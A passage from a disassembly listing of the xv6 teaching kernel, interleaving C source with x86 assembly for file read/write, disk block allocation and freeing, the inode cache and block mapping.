r; if(f->readable == 0) return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); 80100fb0: 8b 43 0c mov 0xc(%ebx),%eax 80100fb3: 89 45 08 mov %eax,0x8(%ebp) f->off += r; iunlock(f->ip); return r; } panic("fileread"); } 80100fb6: 8d 65 f4 lea -0xc(%ebp),%esp 80100fb9: 5b pop %ebx 80100fba: 5e pop %esi 80100fbb: 5f pop %edi 80100fbc: 5d pop %ebp int r; if(f->readable == 0) return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); 80100fbd: e9 be 24 00 00 jmp 80103480 <piperead> 80100fc2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileread(struct file *f, char *addr, int n) { int r; if(f->readable == 0) return -1; 80100fc8: b8 ff ff ff ff mov $0xffffffff,%eax 80100fcd: eb d9 jmp 80100fa8 <fileread+0x58> if((r = readi(f->ip, addr, f->off, n)) > 0) f->off += r; iunlock(f->ip); return r; } panic("fileread"); 80100fcf: 83 ec 0c sub $0xc,%esp 80100fd2: 68 c6 73 10 80 push $0x801073c6 80100fd7: e8 94 f3 ff ff call 80100370 <panic> 80100fdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100fe0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100fe0: 55 push %ebp 80100fe1: 89 e5 mov %esp,%ebp 80100fe3: 57 push %edi 80100fe4: 56 push %esi 80100fe5: 53 push %ebx 80100fe6: 83 ec 1c sub $0x1c,%esp 80100fe9: 8b 75 08 mov 0x8(%ebp),%esi 80100fec: 8b 45 0c mov 0xc(%ebp),%eax int r; if(f->writable == 0) 80100fef: 80 7e 09 00 cmpb $0x0,0x9(%esi) //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100ff3: 89 45 dc mov %eax,-0x24(%ebp) 80100ff6: 8b 45 10 mov 0x10(%ebp),%eax 80100ff9: 89 45 e4 mov %eax,-0x1c(%ebp) int r; if(f->writable == 0) 80100ffc: 0f 84 aa 00 00 00 je 801010ac <filewrite+0xcc> return -1; if(f->type == FD_PIPE) 80101002: 8b 06 mov (%esi),%eax 80101004: 83 f8 01 cmp $0x1,%eax 80101007: 0f 84 c2 00 00 00 je 801010cf <filewrite+0xef> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 8010100d: 83 f8 02 cmp $0x2,%eax 80101010: 0f 85 d8 00 00 00 jne 801010ee <filewrite+0x10e> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101016: 8b 45 e4 mov -0x1c(%ebp),%eax 80101019: 31 ff xor %edi,%edi 8010101b: 85 c0 test %eax,%eax 8010101d: 7f 34 jg 80101053 <filewrite+0x73> 8010101f: e9 9c 00 00 00 jmp 801010c0 <filewrite+0xe0> 80101024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 80101028: 01 46 14 add %eax,0x14(%esi) iunlock(f->ip); 8010102b: 83 ec 0c sub $0xc,%esp 8010102e: ff 76 10 pushl 0x10(%esi) n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 80101031: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101034: e8 07 07 00 00 call 80101740 <iunlock> end_op(); 80101039: e8 72 1b 00 00 call 80102bb0 <end_op> 8010103e: 8b 45 e0 mov -0x20(%ebp),%eax 80101041: 83 c4 10 add $0x10,%esp if(r < 0) break; if(r != n1) 80101044: 39 d8 cmp %ebx,%eax 80101046: 0f 85 95 00 00 00 jne 801010e1 <filewrite+0x101> panic("short filewrite"); i += r; 8010104c: 01 c7 add %eax,%edi // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 8010104e: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101051: 7e 6d jle 801010c0 <filewrite+0xe0> int n1 = n - i; 80101053: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101056: b8 00 06 00 00 mov $0x600,%eax 8010105b: 29 fb sub %edi,%ebx 8010105d: 81 fb 00 06 00 00 cmp $0x600,%ebx 80101063: 0f 4f d8 cmovg %eax,%ebx if(n1 > max) n1 = max; begin_op(); 80101066: e8 d5 1a 00 00 call 80102b40 <begin_op> ilock(f->ip); 8010106b: 83 ec 0c sub $0xc,%esp 8010106e: ff 76 10 pushl 0x10(%esi) 80101071: e8 ea 05 00 00 call 80101660 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101076: 8b 45 dc mov -0x24(%ebp),%eax 80101079: 53 push %ebx 8010107a: ff 76 14 pushl 0x14(%esi) 8010107d: 01 f8 add %edi,%eax 8010107f: 50 push %eax 80101080: ff 76 10 pushl 0x10(%esi) 80101083: e8 b8 09 00 00 call 80101a40 <writei> 80101088: 83 c4 20 add $0x20,%esp 8010108b: 85 c0 test %eax,%eax 8010108d: 7f 99 jg 80101028 <filewrite+0x48> f->off += r; iunlock(f->ip); 8010108f: 83 ec 0c sub $0xc,%esp 80101092: ff 76 10 pushl 0x10(%esi) 80101095: 89 45 e0 mov %eax,-0x20(%ebp) 80101098: e8 a3 06 00 00 call 80101740 <iunlock> end_op(); 8010109d: e8 0e 1b 00 00 call 80102bb0 <end_op> if(r < 0) 801010a2: 8b 45 e0 mov -0x20(%ebp),%eax 801010a5: 83 c4 10 add $0x10,%esp 801010a8: 85 c0 test %eax,%eax 801010aa: 74 98 je 80101044 <filewrite+0x64> i += r; } return i == n ? n : -1; } panic("filewrite"); } 801010ac: 8d 65 f4 lea -0xc(%ebp),%esp break; if(r != n1) panic("short filewrite"); i += r; } return i == n ? n : -1; 801010af: b8 ff ff ff ff mov $0xffffffff,%eax } panic("filewrite"); } 801010b4: 5b pop %ebx 801010b5: 5e pop %esi 801010b6: 5f pop %edi 801010b7: 5d pop %ebp 801010b8: c3 ret 801010b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(r != n1) panic("short filewrite"); i += r; } return i == n ? n : -1; 801010c0: 3b 7d e4 cmp -0x1c(%ebp),%edi 801010c3: 75 e7 jne 801010ac <filewrite+0xcc> } panic("filewrite"); } 801010c5: 8d 65 f4 lea -0xc(%ebp),%esp 801010c8: 89 f8 mov %edi,%eax 801010ca: 5b pop %ebx 801010cb: 5e pop %esi 801010cc: 5f pop %edi 801010cd: 5d pop %ebp 801010ce: c3 ret int r; if(f->writable == 0) return -1; if(f->type == FD_PIPE) return pipewrite(f->pipe, addr, n); 801010cf: 8b 46 0c mov 0xc(%esi),%eax 801010d2: 89 45 08 mov %eax,0x8(%ebp) i += r; } return i == n ? n : -1; } panic("filewrite"); } 801010d5: 8d 65 f4 lea -0xc(%ebp),%esp 801010d8: 5b pop %ebx 801010d9: 5e pop %esi 801010da: 5f pop %edi 801010db: 5d pop %ebp int r; if(f->writable == 0) return -1; if(f->type == FD_PIPE) return pipewrite(f->pipe, addr, n); 801010dc: e9 9f 22 00 00 jmp 80103380 <pipewrite> end_op(); if(r < 0) break; if(r != n1) panic("short filewrite"); 801010e1: 83 ec 0c sub $0xc,%esp 801010e4: 68 cf 73 10 80 push $0x801073cf 801010e9: e8 82 f2 ff ff call 80100370 <panic> i += r; } return i == n ? n : -1; } panic("filewrite"); 801010ee: 83 ec 0c sub $0xc,%esp 801010f1: 68 d5 73 10 80 push $0x801073d5 801010f6: e8 75 f2 ff ff call 80100370 <panic> 801010fb: 66 90 xchg %ax,%ax 801010fd: 66 90 xchg %ax,%ax 801010ff: 90 nop 80101100 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 80101100: 55 push %ebp 80101101: 89 e5 mov %esp,%ebp 80101103: 56 push %esi 80101104: 53 push %ebx 80101105: 89 d3 mov %edx,%ebx struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); 80101107: c1 ea 0c shr $0xc,%edx 8010110a: 03 15 d8 09 11 80 add 0x801109d8,%edx 80101110: 83 ec 08 sub $0x8,%esp 80101113: 52 push %edx 80101114: 50 push %eax 80101115: e8 b6 ef ff ff call 801000d0 <bread> bi = b % BPB; m = 1 << (bi % 8); 8010111a: 89 d9 mov %ebx,%ecx if((bp->data[bi/8] & m) == 0) 8010111c: 81 e3 ff 0f 00 00 and $0xfff,%ebx struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); 80101122: ba 01 00 00 00 mov $0x1,%edx 80101127: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 8010112a: c1 fb 03 sar $0x3,%ebx 8010112d: 83 c4 10 add $0x10,%esp struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); 80101130: d3 e2 shl %cl,%edx if((bp->data[bi/8] & m) == 0) 80101132: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx 80101137: 85 d1 test %edx,%ecx 80101139: 74 27 je 80101162 <bfree+0x62> 8010113b: 89 c6 mov %eax,%esi panic("freeing free block"); bp->data[bi/8] &= ~m; 8010113d: f7 d2 not %edx 8010113f: 89 c8 mov %ecx,%eax log_write(bp); 80101141: 83 ec 0c sub $0xc,%esp bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0) panic("freeing free block"); bp->data[bi/8] &= ~m; 80101144: 21 d0 and %edx,%eax 80101146: 88 44 1e 5c mov %al,0x5c(%esi,%ebx,1) log_write(bp); 8010114a: 56 push %esi 8010114b: e8 d0 1b 00 00 call 80102d20 <log_write> brelse(bp); 80101150: 89 34 24 mov %esi,(%esp) 80101153: e8 88 f0 ff ff call 801001e0 <brelse> } 80101158: 83 c4 10 add $0x10,%esp 8010115b: 8d 65 f8 lea -0x8(%ebp),%esp 8010115e: 5b pop %ebx 8010115f: 5e pop %esi 80101160: 5d pop %ebp 80101161: c3 ret bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0) panic("freeing free block"); 80101162: 83 ec 0c sub $0xc,%esp 80101165: 68 df 73 10 80 push $0x801073df 8010116a: e8 01 f2 ff ff call 80100370 <panic> 8010116f: 90 nop 80101170 <balloc>: // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 80101170: 55 push %ebp 80101171: 89 e5 mov %esp,%ebp 80101173: 57 push %edi 80101174: 56 push %esi 80101175: 53 push %ebx 80101176: 83 ec 1c sub $0x1c,%esp int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 80101179: 8b 0d c0 09 11 80 mov 0x801109c0,%ecx // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 8010117f: 89 45 d8 mov %eax,-0x28(%ebp) int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 80101182: 85 c9 test %ecx,%ecx 80101184: 0f 84 85 00 00 00 je 8010120f <balloc+0x9f> 8010118a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 80101191: 8b 75 dc mov -0x24(%ebp),%esi 80101194: 83 ec 08 sub $0x8,%esp 80101197: 89 f0 mov %esi,%eax 80101199: c1 f8 0c sar $0xc,%eax 8010119c: 03 05 d8 09 11 80 add 0x801109d8,%eax 801011a2: 50 push %eax 801011a3: ff 75 d8 pushl -0x28(%ebp) 801011a6: e8 25 ef ff ff call 801000d0 <bread> 801011ab: 89 45 e4 mov %eax,-0x1c(%ebp) 801011ae: a1 c0 09 11 80 mov 0x801109c0,%eax 801011b3: 83 c4 10 add $0x10,%esp 801011b6: 89 45 e0 mov %eax,-0x20(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011b9: 31 c0 xor %eax,%eax 801011bb: eb 2d jmp 801011ea <balloc+0x7a> 801011bd: 8d 76 00 lea 0x0(%esi),%esi m = 1 << (bi % 8); 801011c0: 89 c1 mov %eax,%ecx 801011c2: ba 01 00 00 00 mov $0x1,%edx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011c7: 8b 5d e4 mov -0x1c(%ebp),%ebx bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); 801011ca: 83 e1 07 and $0x7,%ecx 801011cd: d3 e2 shl %cl,%edx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011cf: 89 c1 mov %eax,%ecx 801011d1: c1 f9 03 sar $0x3,%ecx 801011d4: 0f b6 7c 0b 5c movzbl 0x5c(%ebx,%ecx,1),%edi 801011d9: 85 d7 test %edx,%edi 801011db: 74 43 je 80101220 <balloc+0xb0> struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011dd: 83 c0 01 add $0x1,%eax 801011e0: 83 c6 01 add $0x1,%esi 801011e3: 3d 00 10 00 00 cmp $0x1000,%eax 801011e8: 74 05 je 801011ef <balloc+0x7f> 801011ea: 3b 75 e0 cmp -0x20(%ebp),%esi 801011ed: 72 d1 jb 801011c0 <balloc+0x50> brelse(bp); bzero(dev, b + bi); return b + bi; } } brelse(bp); 801011ef: 83 ec 0c sub $0xc,%esp 801011f2: ff 75 e4 pushl -0x1c(%ebp) 801011f5: e8 e6 ef ff ff call 801001e0 <brelse> { int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 801011fa: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101201: 83 c4 10 add $0x10,%esp 80101204: 8b 45 dc mov -0x24(%ebp),%eax 80101207: 39 05 c0 09 11 80 cmp %eax,0x801109c0 8010120d: 77 82 ja 80101191 <balloc+0x21> return b + bi; } } brelse(bp); } panic("balloc: out of blocks"); 8010120f: 83 ec 0c sub $0xc,%esp 80101212: 68 f2 73 10 80 push $0x801073f2 80101217: e8 54 f1 ff ff call 80100370 <panic> 8010121c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? bp->data[bi/8] |= m; // Mark block in use. 80101220: 09 fa or %edi,%edx 80101222: 8b 7d e4 mov -0x1c(%ebp),%edi log_write(bp); 80101225: 83 ec 0c sub $0xc,%esp for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? bp->data[bi/8] |= m; // Mark block in use. 80101228: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1) log_write(bp); 8010122c: 57 push %edi 8010122d: e8 ee 1a 00 00 call 80102d20 <log_write> brelse(bp); 80101232: 89 3c 24 mov %edi,(%esp) 80101235: e8 a6 ef ff ff call 801001e0 <brelse> static void bzero(int dev, int bno) { struct buf *bp; bp = bread(dev, bno); 8010123a: 58 pop %eax 8010123b: 5a pop %edx 8010123c: 56 push %esi 8010123d: ff 75 d8 pushl -0x28(%ebp) 80101240: e8 8b ee ff ff call 801000d0 <bread> 80101245: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 80101247: 8d 40 5c lea 0x5c(%eax),%eax 8010124a: 83 c4 0c add $0xc,%esp 8010124d: 68 00 02 00 00 push $0x200 80101252: 6a 00 push $0x0 80101254: 50 push %eax 80101255: e8 36 35 00 00 call 80104790 <memset> log_write(bp); 8010125a: 89 1c 24 mov %ebx,(%esp) 8010125d: e8 be 1a 00 00 call 80102d20 <log_write> brelse(bp); 80101262: 89 1c 24 mov %ebx,(%esp) 80101265: e8 76 ef ff ff call 801001e0 <brelse> } } brelse(bp); } panic("balloc: out of blocks"); } 8010126a: 8d 65 f4 lea -0xc(%ebp),%esp 8010126d: 89 f0 mov %esi,%eax 8010126f: 5b pop %ebx 80101270: 5e pop %esi 80101271: 5f pop %edi 80101272: 5d pop %ebp 80101273: c3 ret 80101274: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010127a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101280 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101280: 55 push %ebp 80101281: 89 e5 mov %esp,%ebp 80101283: 57 push %edi 80101284: 56 push %esi 80101285: 53 push %ebx 80101286: 89 c7 mov %eax,%edi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101288: 31 f6 xor %esi,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010128a: bb 14 0a 11 80 mov $0x80110a14,%ebx // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 8010128f: 83 ec 28 sub $0x28,%esp 80101292: 89 55 e4 mov %edx,-0x1c(%ebp) struct inode *ip, *empty; acquire(&icache.lock); 80101295: 68 e0 09 11 80 push $0x801109e0 8010129a: e8 f1 33 00 00 call 80104690 <acquire> 8010129f: 83 c4 10 add $0x10,%esp // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012a2: 8b 55 e4 mov -0x1c(%ebp),%edx 801012a5: eb 1b jmp 801012c2 <iget+0x42> 801012a7: 89 f6 mov %esi,%esi 801012a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 801012b0: 85 f6 test %esi,%esi 801012b2: 74 44 je 801012f8 <iget+0x78> acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012b4: 81 c3 90 00 00 00 add $0x90,%ebx 801012ba: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 801012c0: 74 4e je 80101310 <iget+0x90> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 801012c2: 8b 4b 08 mov 0x8(%ebx),%ecx 801012c5: 85 c9 test %ecx,%ecx 801012c7: 7e e7 jle 801012b0 <iget+0x30> 801012c9: 39 3b cmp %edi,(%ebx) 801012cb: 75 e3 jne 801012b0 <iget+0x30> 801012cd: 39 53 04 cmp %edx,0x4(%ebx) 801012d0: 75 de jne 801012b0 <iget+0x30> ip->ref++; release(&icache.lock); 801012d2: 83 ec 0c sub $0xc,%esp // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; 801012d5: 83 c1 01 add $0x1,%ecx release(&icache.lock); return ip; 801012d8: 89 de mov %ebx,%esi // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); 801012da: 68 e0 09 11 80 push $0x801109e0 // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; 801012df: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 801012e2: e8 59 34 00 00 call 80104740 <release> return ip; 801012e7: 83 c4 10 add $0x10,%esp ip->ref = 1; ip->valid = 0; release(&icache.lock); return ip; } 801012ea: 8d 65 f4 lea -0xc(%ebp),%esp 801012ed: 89 f0 mov %esi,%eax 801012ef: 5b pop %ebx 801012f0: 5e pop %esi 801012f1: 5f pop %edi 801012f2: 5d pop %ebp 801012f3: c3 ret 801012f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 801012f8: 85 c9 test %ecx,%ecx 801012fa: 0f 44 f3 cmove %ebx,%esi acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012fd: 81 c3 90 00 00 00 add $0x90,%ebx 80101303: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101309: 75 b7 jne 801012c2 <iget+0x42> 8010130b: 90 nop 8010130c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(empty == 0 && ip->ref == 0) // Remember empty slot. empty = ip; } // Recycle an inode cache entry. if(empty == 0) 80101310: 85 f6 test %esi,%esi 80101312: 74 2d je 80101341 <iget+0xc1> ip = empty; ip->dev = dev; ip->inum = inum; ip->ref = 1; ip->valid = 0; release(&icache.lock); 80101314: 83 ec 0c sub $0xc,%esp // Recycle an inode cache entry. if(empty == 0) panic("iget: no inodes"); ip = empty; ip->dev = dev; 80101317: 89 3e mov %edi,(%esi) ip->inum = inum; 80101319: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 8010131c: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 80101323: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 8010132a: 68 e0 09 11 80 push $0x801109e0 8010132f: e8 0c 34 00 00 call 80104740 <release> return ip; 80101334: 83 c4 10 add $0x10,%esp } 80101337: 8d 65 f4 lea -0xc(%ebp),%esp 8010133a: 89 f0 mov %esi,%eax 8010133c: 5b pop %ebx 8010133d: 5e pop %esi 8010133e: 5f pop %edi 8010133f: 5d pop %ebp 80101340: c3 ret empty = ip; } // Recycle an inode cache entry. if(empty == 0) panic("iget: no inodes"); 80101341: 83 ec 0c sub $0xc,%esp 80101344: 68 08 74 10 80 push $0x80107408 80101349: e8 22 f0 ff ff call 80100370 <panic> 8010134e: 66 90 xchg %ax,%ax 80101350 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 80101350: 55 push %ebp 80101351: 89 e5 mov %esp,%ebp 80101353: 57 push %edi 80101354: 56 push %esi 80101355: 53 push %ebx 80101356: 89 c6 mov %eax,%esi 80101358: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 8010135b: 83 fa 0b cmp $0xb,%edx 8010135e: 77 18 ja 80101378 <bmap+0x28> 80101360: 8d 1c 90 lea (%eax,%edx,4),%ebx if((addr = ip->addrs[bn]) == 0) 80101363: 8b 43 5c mov 0x5c(%ebx),%eax 80101366: 85 c0 test %eax,%eax 80101368: 74 76 je 801013e0 <bmap+0x90> brelse(bp); return addr; } panic("bmap: out of range"); } 8010136a: 8d 65 f4 lea -0xc(%ebp),%esp 8010136d: 5b pop %ebx 8010136e: 5e pop %esi 8010136f: 5f pop %edi 80101370: 5d pop %ebp 80101371: c3 ret 80101372: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(bn < NDIRECT){ if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); return addr; } bn -= NDIRECT; 80101378: 8d 5a f4 lea -0xc(%edx),%ebx if(bn < NINDIRECT){ 8010137b: 83 fb 7f cmp $0x7f,%ebx 8010137e: 0f 87 83 00 00 00 ja 80101407 <bmap+0xb7> // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) 80101384: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 8010138a: 85 c0 test %eax,%eax 8010138c: 74 6a je 801013f8 <bmap+0xa8> ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 8010138e: 83 ec 08 sub $0x8,%esp 80101391: 50 push %eax 80101392: ff 36 pushl (%esi) 80101394: e8 37 ed ff ff call 801000d0 <bread> a = (uint*)bp->data; if((addr = a[bn]) == 0){ 80101399: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx 8010139d: 83 c4 10 add $0x10,%esp if(bn < NINDIRECT){ // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); 801013a0: 89 c7 mov %eax,%edi a = (uint*)bp->data; if((addr = a[bn]) == 0){ 801013a2: 8b 1a mov (%edx),%ebx 801013a4: 85 db test %ebx,%ebx 801013a6: 75 1d jne 801013c5 <bmap+0x75> a[bn] = addr = balloc(ip->dev); 801013a8: 8b 06 mov (%esi),%eax 801013aa: 89 55 e4 mov %edx,-0x1c(%ebp) 801013ad: e8 be fd ff ff call 80101170 <balloc> 801013b2: 8b 55 e4 mov -0x1c(%ebp),%edx log_write(bp); 801013b5: 83 ec 0c sub $0xc,%esp if((addr = ip->addrs[NDIRECT]) == 0) ip->addrs[NDIRECT] = addr = balloc(ip->dev); bp = bread(ip->dev, addr); a = (uint*)bp->data; if((addr = a[bn]) == 0){ a[bn] = addr = balloc(ip->dev); 801013b8: 89 c3 mov %eax,%ebx 801013ba: 89 02 mov %eax,(%edx) log_write(bp); 801013bc: 57 push %edi 801013bd: e8 5e 19 00 00 call 80102d20 <log_write> 801013c2: 83 c4 10 add $0x10,%esp } brelse(bp); 801013c5: 83 ec 0c sub $0xc,%esp 801013c8: 57 push %edi 801013c9: e8 12 ee ff ff call 801001e0 <brelse> 801013ce: 83 c4 10 add $0x10,%esp return addr; } panic("bmap: out of range"); } 801013d1: 8d 65 f4 lea -0xc(%ebp),%esp a = (uint*)bp->data; if((addr = a[bn]) == 0){ a[bn] = addr = balloc(ip->dev); log_write(bp); } brelse(bp); 801013d4: 89 d8 mov %ebx,%eax return addr; } panic("bmap: out of range"); } 801013d6: 5b pop %ebx 801013d7: 5e pop %esi 801013d8: 5f pop %edi 801013d9: 5d pop %ebp 801013da: c3 ret 801013db: 90 nop 801013dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint addr, *a; struct buf *bp; if(bn < NDIRECT){ if((addr = ip->addrs[bn]) == 0) ip->addrs[bn] = addr = balloc(ip->dev); 801013e0: 8b 06 mov (%esi),%eax 801013e2: e8 89 fd ff ff call 80101170 <balloc> 801013e7: 89 43 5c mov %eax,0x5c(%ebx) brelse(bp); return addr; } panic("bmap: out of range"); } 801013ea: 8d 65 f4 lea -0xc(%ebp),%esp 801013ed: 5b pop %ebx 801013ee: 5e pop %esi 801013ef: 5f pop %edi 801013f0: 5d pop %ebp 801013f1: c3 ret 801013f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bn -= NDIRECT; if(bn < NINDIRECT){ // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) ip->addrs[NDIRECT] = addr = balloc(ip->dev); 801013f8: 8b 06 mov (%esi),%eax 801013fa: e8 71 fd ff ff call 80101170 <balloc> 801013ff: 89 86 8c 00 00 00 mov %eax,0x8c(%esi) 80101405: eb 87 jmp 8010138e <bmap+0x3e> } brelse(bp); return addr; } panic("bmap: out of range"); 80101407: 83 ec 0c sub $0xc,%esp 8010140a: 68 18 74 10 80 push $0x80107418 8010140f: e8 5c ef ff ff call 80100370 <panic> 80101414: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010141a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101420 <readsb>: struct superblock sb; // Read the super block. void readsb(int dev, struct superblock *sb) { 80101420: 55 push %ebp 80101421: 89 e5 mov %esp,%ebp 80101423: 56 push %esi 80101424: 53 push %ebx 80101425: 8b 75 0c mov 0xc(%ebp),%esi struct buf *bp; bp = bread(dev, 1); 80101428: 83 ec 08 sub $0x8,%esp 8010142b: 6a 01 push $0x1 8010142d: ff 75 08 pushl 0x8(%ebp) 80101430: e8 9b ec ff ff call 801000d0 <bread> 80101435: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 80101437: 8d 40 5c lea 0x5c(%eax),%eax 8010143a: 83 c4 0c add $0xc,%esp 8010143d: 6a 1c push $0x1c 8010143f: 50 push %eax 80101440: 56 push %esi 80101441: e8 fa 33 00 00 call 80104840 <memmove> brelse(bp); 80101446: 89 5d 08 mov %ebx,0x8(%ebp) 80101449: 83 c4 10 add $0x10,%esp } 8010144c: 8d 65 f8 lea -0x8(%ebp),%esp 8010144f: 5b pop %ebx 80101450: 5e pop %esi 80101451: 5d pop %ebp { struct buf *bp; bp = bread(dev, 1); memmove(sb, bp->data, sizeof(*sb)); brelse(bp); 80101452: e9 89 ed ff ff jmp 801001e0 <brelse> 80101457: 89 f6 mov %esi,%esi 80101459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101460 <iinit>: struct inode inode[NINODE]; } icache; void iinit(int dev) { 80101460: 55 push %ebp 80101461: 89 e5 mov %esp,%ebp 80101463: 53 push %ebx 80101464: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101469: 83 ec 0c sub $0xc,%esp int i = 0; initlock(&icache.lock, "icache"); 8010146c: 68 2b 74 10 80 push $0x8010742b 80101471: 68 e0 09 11 80 push $0x801109e0 80101476: e8 b5 30 00 00 call 80104530 <initlock> 8010147b: 83 c4 10 add $0x10,%esp 8010147e: 66 90 xchg 